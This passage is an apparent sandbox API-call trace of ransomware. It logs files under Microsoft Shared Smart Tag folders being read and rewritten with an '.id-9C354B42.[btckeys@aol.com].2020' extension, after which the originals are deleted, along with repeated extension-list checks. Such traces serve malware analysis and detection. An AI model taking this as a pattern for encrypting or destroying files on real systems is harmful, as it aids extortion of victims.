(hObject=0x1e8) returned 1 [0075.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.670] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0075.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.670] lstrlenW (lpString=".doc") returned 4 [0075.670] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.670] lstrlenW (lpString=".docx") returned 5 [0075.670] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0075.670] lstrlenW (lpString=".pdf") returned 4 [0075.670] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.670] lstrlenW (lpString=".xls") returned 4 [0075.670] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.670] lstrlenW (lpString=".xlsx") returned 5 [0075.670] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0075.670] lstrlenW (lpString=".ppt") returned 4 [0075.670] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.670] lstrlenW (lpString=".zip") returned 4 [0075.670] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.670] lstrlenW (lpString=".rar") returned 4 [0075.670] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.670] lstrlenW (lpString=".bz2") returned 4 [0075.670] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.670] lstrlenW (lpString=".7z") returned 3 [0075.670] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString=".dbf") returned 4 [0075.671] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString=".1cd") returned 4 [0075.671] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString=".jpg") returned 4 [0075.671] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString=".doc") returned 4 [0075.671] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString=".docx") returned 5 [0075.671] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0075.671] lstrlenW (lpString=".pdf") returned 4 [0075.671] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString=".xls") returned 4 [0075.671] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString=".xlsx") returned 5 [0075.671] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0075.671] lstrlenW (lpString=".ppt") returned 4 [0075.671] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString=".zip") returned 4 [0075.671] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.671] lstrlenW (lpString=".rar") returned 4 [0075.671] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString=".bz2") returned 4 [0075.671] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.671] lstrlenW (lpString=".7z") returned 3 [0075.671] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.671] lstrlenW (lpString=".dbf") returned 4 [0075.672] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.672] lstrlenW (lpString=".1cd") returned 4 [0075.672] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0075.672] lstrlenW (lpString=".jpg") returned 4 [0075.672] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.672] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.672] lstrlenW (lpString="PHONE.XML") returned 9 [0075.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.673] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1844) returned 1 [0075.673] CloseHandle (hObject=0x1e8) returned 1 [0075.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0075.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0075.673] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.673] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.674] GetLastError () returned 0x0 [0075.674] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x734, lpOverlapped=0x0) returned 1 [0076.174] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x740, lpOverlapped=0x0) returned 1 [0076.176] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.176] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.176] SetEndOfFile (hFile=0x1e4) returned 1 [0076.176] CloseHandle (hObject=0x1e4) returned 1 [0076.176] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.176] SetEndOfFile (hFile=0x1e8) returned 1 [0076.177] CloseHandle (hObject=0x1e8) returned 1 [0076.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.178] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0076.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.178] lstrlenW (lpString=".doc") returned 4 [0076.178] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.178] lstrlenW (lpString=".docx") returned 5 [0076.178] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0076.178] lstrlenW (lpString=".pdf") returned 4 [0076.178] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.178] lstrlenW (lpString=".xls") returned 4 [0076.178] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.178] lstrlenW (lpString=".xlsx") returned 5 [0076.178] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0076.178] lstrlenW (lpString=".ppt") returned 4 [0076.178] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.178] lstrlenW (lpString=".zip") returned 4 [0076.178] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.178] lstrlenW (lpString=".rar") returned 4 [0076.178] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.178] lstrlenW (lpString=".bz2") returned 4 [0076.178] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString=".7z") returned 3 [0076.179] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.179] lstrlenW (lpString=".dbf") returned 4 [0076.179] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.179] lstrlenW (lpString=".1cd") returned 4 [0076.179] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.179] lstrlenW (lpString=".jpg") returned 4 [0076.179] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.179] lstrlenW (lpString=".doc") returned 4 [0076.179] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString=".docx") returned 5 [0076.179] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0076.179] lstrlenW (lpString=".pdf") returned 4 [0076.179] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString=".xls") returned 4 [0076.179] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString=".xlsx") returned 5 [0076.179] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0076.179] lstrlenW (lpString=".ppt") returned 4 [0076.179] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.179] lstrlenW (lpString=".zip") returned 4 [0076.179] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.179] lstrlenW (lpString=".rar") returned 4 [0076.179] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.179] lstrlenW (lpString=".bz2") returned 4 [0076.180] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.180] lstrlenW (lpString=".7z") returned 3 [0076.180] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.180] lstrlenW (lpString=".dbf") returned 4 [0076.180] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.180] lstrlenW (lpString=".1cd") returned 4 [0076.180] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0076.180] lstrlenW (lpString=".jpg") returned 4 [0076.180] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.180] lstrcmpiW (lpString1=".DAT", lpString2=".2020") returned 1 [0076.180] lstrlenW (lpString="STOCKS.DAT") returned 10 [0076.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.246] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=39017) returned 1 [0076.246] CloseHandle (hObject=0x1e0) returned 1 [0076.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0076.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.247] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.247] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0076.247] GetLastError () returned 0x0 [0076.247] ReadFile (in: hFile=0x1e0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x9869, lpOverlapped=0x0) returned 1 [0076.250] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x9870, lpOverlapped=0x0) returned 1 [0076.251] ReadFile (in: hFile=0x1e0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.251] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0076.251] SetEndOfFile (hFile=0x1e4) returned 1 [0076.252] CloseHandle (hObject=0x1e4) returned 1 [0076.252] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.252] SetEndOfFile (hFile=0x1e0) returned 1 [0076.253] CloseHandle (hObject=0x1e0) returned 1 [0076.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.253] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0076.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.253] lstrlenW (lpString=".doc") returned 4 [0076.253] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0076.253] lstrlenW (lpString=".docx") returned 5 [0076.254] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0076.254] lstrlenW (lpString=".pdf") returned 4 [0076.254] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString=".xls") returned 4 [0076.254] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString=".xlsx") returned 5 [0076.254] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0076.254] lstrlenW (lpString=".ppt") returned 4 [0076.254] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.254] lstrlenW (lpString=".zip") returned 4 [0076.254] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString=".rar") returned 4 [0076.254] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString=".bz2") returned 4 [0076.254] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0076.254] lstrlenW (lpString=".7z") returned 3 [0076.254] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0076.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.254] lstrlenW (lpString=".dbf") returned 4 [0076.254] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.254] lstrlenW (lpString=".1cd") returned 4 [0076.254] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0076.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.254] lstrlenW (lpString=".jpg") returned 4 [0076.254] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.254] lstrlenW (lpString=".doc") returned 4 [0076.254] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0076.254] lstrlenW (lpString=".docx") returned 5 [0076.254] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0076.255] lstrlenW (lpString=".pdf") returned 4 [0076.255] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0076.255] lstrlenW (lpString=".xls") returned 4 [0076.255] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0076.255] lstrlenW (lpString=".xlsx") returned 5 [0076.255] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0076.255] lstrlenW (lpString=".ppt") returned 4 [0076.255] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0076.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.255] lstrlenW (lpString=".zip") returned 4 [0076.255] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0076.255] lstrlenW (lpString=".rar") returned 4 [0076.255] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0076.255] lstrlenW (lpString=".bz2") returned 4 [0076.255] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0076.255] lstrlenW (lpString=".7z") returned 3 [0076.255] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0076.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.255] lstrlenW (lpString=".dbf") returned 4 [0076.255] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0076.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.255] lstrlenW (lpString=".1cd") returned 4 [0076.255] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0076.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0076.255] lstrlenW (lpString=".jpg") returned 4 [0076.255] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0076.255] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0076.255] lstrlenW (lpString="TIME.XML") returned 8 [0076.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.256] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=8564) returned 1 [0076.256] CloseHandle (hObject=0x1e0) returned 1 [0076.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0076.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.256] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.256] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0076.257] GetLastError () returned 0x0 [0076.257] ReadFile (in: hFile=0x1e0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x2174, lpOverlapped=0x0) returned 1 [0076.259] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x2180, lpOverlapped=0x0) returned 1 [0076.260] ReadFile (in: hFile=0x1e0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.260] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe4, lpOverlapped=0x0) returned 1 [0076.260] SetEndOfFile (hFile=0x1e4) returned 1 [0076.260] CloseHandle (hObject=0x1e4) returned 1 [0076.261] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 